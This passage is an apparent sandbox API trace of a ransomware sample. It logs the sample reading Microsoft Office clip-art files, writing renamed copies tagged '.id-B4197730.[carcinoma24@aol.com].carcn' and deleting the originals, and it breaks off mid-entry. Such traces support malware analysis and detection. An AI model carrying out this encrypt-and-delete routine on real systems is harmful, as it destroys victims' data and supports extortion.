lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0299.303] lstrlenW (lpString=".jpg") returned 4 [0299.303] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.304] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0299.304] lstrlenW (lpString="BS01637_.WMF") returned 12 [0299.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0299.304] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=3948) returned 1 [0299.304] CloseHandle (hObject=0x358) returned 1 [0299.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf")) returned 0x220 [0299.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0299.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0299.305] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.305] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0299.306] GetLastError () returned 0x0 [0299.306] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0xf6c, lpOverlapped=0x0) returned 1 [0299.307] WriteFile (in: hFile=0x350, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xf70, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xf70, lpOverlapped=0x0) returned 1 [0299.309] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.309] WriteFile (in: hFile=0x350, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0299.309] SetEndOfFile (hFile=0x350) returned 1 [0299.309] CloseHandle (hObject=0x350) returned 1 [0299.309] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.309] SetEndOfFile (hFile=0x358) returned 1 [0299.310] CloseHandle (hObject=0x358) returned 1 [0299.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0299.311] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf")) returned 1 [0299.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0299.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0299.311] lstrlenW (lpString=".doc") returned 4 [0299.311] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.311] lstrlenW (lpString=".docx") returned 5 [0299.311] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.311] lstrlenW (lpString=".pdf") returned 4 [0299.311] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.311] lstrlenW (lpString=".xls") returned 4 [0299.311] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.311] lstrlenW (lpString=".xlsx") returned 5 [0299.311] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.312] lstrlenW (lpString=".ppt") returned 4 [0299.312] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0299.312] lstrlenW (lpString=".zip") returned 4 [0299.312] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.312] lstrlenW (lpString=".rar") returned 4 [0299.312] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.312] lstrlenW (lpString=".bz2") returned 4 [0299.312] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.312] lstrlenW (lpString=".7z") returned 3 [0299.312] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0299.312] lstrlenW (lpString=".dbf") returned 4 [0299.312] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0299.312] lstrlenW (lpString=".1cd") returned 4 [0299.312] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0299.312] lstrlenW (lpString=".jpg") returned 4 [0299.312] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0299.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0299.312] lstrlenW (lpString=".doc") returned 4 [0299.312] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.312] lstrlenW (lpString=".docx") returned 5 [0299.312] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.312] lstrlenW (lpString=".pdf") returned 4 [0299.312] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.312] lstrlenW (lpString=".xls") returned 4 [0299.312] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.312] lstrlenW (lpString=".xlsx") returned 5 [0299.313] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.313] lstrlenW (lpString=".ppt") returned 4 [0299.313] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0299.313] lstrlenW (lpString=".zip") returned 4 [0299.313] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.313] lstrlenW (lpString=".rar") returned 4 [0299.313] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.313] lstrlenW (lpString=".bz2") returned 4 [0299.313] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.313] lstrlenW (lpString=".7z") returned 3 [0299.313] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0299.313] lstrlenW (lpString=".dbf") returned 4 [0299.313] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0299.313] lstrlenW (lpString=".1cd") returned 4 [0299.313] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0299.313] lstrlenW (lpString=".jpg") returned 4 [0299.313] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.313] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0299.313] lstrlenW (lpString="BS01638_.WMF") returned 12 [0299.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0299.314] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=10538) returned 1 [0299.314] CloseHandle (hObject=0x358) returned 1 [0299.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf")) returned 0x220 [0299.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0299.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0299.314] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.314] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0299.315] GetLastError () returned 0x0 [0299.315] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x292a, lpOverlapped=0x0) returned 1 [0299.316] WriteFile (in: hFile=0x350, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x2930, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x2930, lpOverlapped=0x0) returned 1 [0299.317] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.317] WriteFile (in: hFile=0x350, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0299.317] SetEndOfFile (hFile=0x350) returned 1 [0299.317] CloseHandle (hObject=0x350) returned 1 [0299.317] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.317] SetEndOfFile (hFile=0x358) returned 1 [0299.318] CloseHandle (hObject=0x358) returned 1 [0299.318] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0299.319] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf")) returned 1 [0299.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0299.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0299.319] lstrlenW (lpString=".doc") returned 4 [0299.319] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.319] lstrlenW (lpString=".docx") returned 5 [0299.319] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.319] lstrlenW (lpString=".pdf") returned 4 [0299.319] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.319] lstrlenW (lpString=".xls") returned 4 [0299.319] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.319] lstrlenW (lpString=".xlsx") returned 5 [0299.319] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.319] lstrlenW (lpString=".ppt") returned 4 [0299.320] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0299.320] lstrlenW (lpString=".zip") returned 4 [0299.320] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.320] lstrlenW (lpString=".rar") returned 4 [0299.320] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.320] lstrlenW (lpString=".bz2") returned 4 [0299.320] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.320] lstrlenW (lpString=".7z") returned 3 [0299.320] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0299.320] lstrlenW (lpString=".dbf") returned 4 [0299.320] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0299.320] lstrlenW (lpString=".1cd") returned 4 [0299.320] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0299.320] lstrlenW (lpString=".jpg") returned 4 [0299.320] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0299.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0299.320] lstrlenW (lpString=".doc") returned 4 [0299.320] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.320] lstrlenW (lpString=".docx") returned 5 [0299.320] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.320] lstrlenW (lpString=".pdf") returned 4 [0299.320] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.321] lstrlenW (lpString=".xls") returned 4 [0299.321] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.321] lstrlenW (lpString=".xlsx") returned 5 [0299.321] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.321] lstrlenW (lpString=".ppt") returned 4 [0299.321] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0299.321] lstrlenW (lpString=".zip") returned 4 [0299.321] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.321] lstrlenW (lpString=".rar") returned 4 [0299.321] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.321] lstrlenW (lpString=".bz2") returned 4 [0299.321] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.321] lstrlenW (lpString=".7z") returned 3 [0299.321] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0299.321] lstrlenW (lpString=".dbf") returned 4 [0299.321] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0299.321] lstrlenW (lpString=".1cd") returned 4 [0299.321] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0299.321] lstrlenW (lpString=".jpg") returned 4 [0299.321] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.321] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0299.322] lstrlenW (lpString="BS01639_.WMF") returned 12 [0299.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0299.322] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=4236) returned 1 [0299.322] CloseHandle (hObject=0x358) returned 1 [0299.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf")) returned 0x220 [0299.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0299.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0299.322] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.323] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0299.323] GetLastError () returned 0x0 [0299.323] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x108c, lpOverlapped=0x0) returned 1 [0299.324] WriteFile (in: hFile=0x350, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x1090, lpOverlapped=0x0) returned 1 [0299.325] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.325] WriteFile (in: hFile=0x350, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0299.325] SetEndOfFile (hFile=0x350) returned 1 [0299.325] CloseHandle (hObject=0x350) returned 1 [0299.325] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.325] SetEndOfFile (hFile=0x358) returned 1 [0299.326] CloseHandle (hObject=0x358) returned 1 [0299.326] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0299.326] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf")) returned 1 [0299.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0299.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0299.327] lstrlenW (lpString=".doc") returned 4 [0299.327] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.327] lstrlenW (lpString=".docx") returned 5 [0299.327] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.327] lstrlenW (lpString=".pdf") returned 4 [0299.327] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.327] lstrlenW (lpString=".xls") returned 4 [0299.327] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.327] lstrlenW (lpString=".xlsx") returned 5 [0299.327] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.327] lstrlenW (lpString=".ppt") returned 4 [0299.330] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0299.330] lstrlenW (lpString=".zip") returned 4 [0299.330] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.330] lstrlenW (lpString=".rar") returned 4 [0299.330] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.330] lstrlenW (lpString=".bz2") returned 4 [0299.330] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.330] lstrlenW (lpString=".7z") returned 3 [0299.330] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0299.330] lstrlenW (lpString=".dbf") returned 4 [0299.330] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0299.330] lstrlenW (lpString=".1cd") returned 4 [0299.330] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0299.330] lstrlenW (lpString=".jpg") returned 4 [0299.330] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0299.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0299.330] lstrlenW (lpString=".doc") returned 4 [0299.330] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.330] lstrlenW (lpString=".docx") returned 5 [0299.330] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.330] lstrlenW (lpString=".pdf") returned 4 [0299.330] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.331] lstrlenW (lpString=".xls") returned 4 [0299.331] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.331] lstrlenW (lpString=".xlsx") returned 5 [0299.331] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.331] lstrlenW (lpString=".ppt") returned 4 [0299.331] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0299.331] lstrlenW (lpString=".zip") returned 4 [0299.331] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.331] lstrlenW (lpString=".rar") returned 4 [0299.331] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.331] lstrlenW (lpString=".bz2") returned 4 [0299.331] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.331] lstrlenW (lpString=".7z") returned 3 [0299.331] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0299.331] lstrlenW (lpString=".dbf") returned 4 [0299.331] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0299.331] lstrlenW (lpString=".1cd") returned 4 [0299.331] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0299.331] lstrlenW (lpString=".jpg") returned 4 [0299.331] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.331] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0299.331] lstrlenW (lpString="CG1606.WMF") returned 10 [0299.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 